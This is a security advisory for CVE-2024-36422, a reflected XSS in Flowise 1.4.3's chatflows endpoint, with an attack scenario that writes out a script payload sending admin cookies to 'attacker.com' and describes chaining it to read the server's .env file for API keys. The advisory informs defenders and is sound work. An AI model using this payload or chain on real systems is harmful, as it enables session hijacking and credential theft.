CVE-2024-36422: Flowise: reflected XSS enables session hijack and file read

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `api/v1/chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

An adversary targeting an organization using Flowise for LLM workflow orchestration identifies the Flowise instance via Shodan, internal network scanning, or reconnaissance. They craft a URL to the Flowise chatflows API endpoint with a JavaScript payload embedded in the chatflow ID parameter (e.g., /api/v1/chatflows/<script>document.location='https://attacker.com/c?d='+document.cookie</script>) and deliver it to a Flowise administrator via phishing email or an internal Slack message. When the admin clicks the link, Flowise returns a 404 page with the script reflected as text/html, executing it in the admin's browser and exfiltrating session tokens or credentials to the attacker's server. In a chained variant, the attacker crafts an XSS payload that performs a secondary fetch to a path traversal URL (e.g., reading /opt/flowise/.env), silently exfiltrating OpenAI or Anthropic API keys and giving the attacker full access to the organization's LLM infrastructure without ever touching the server directly.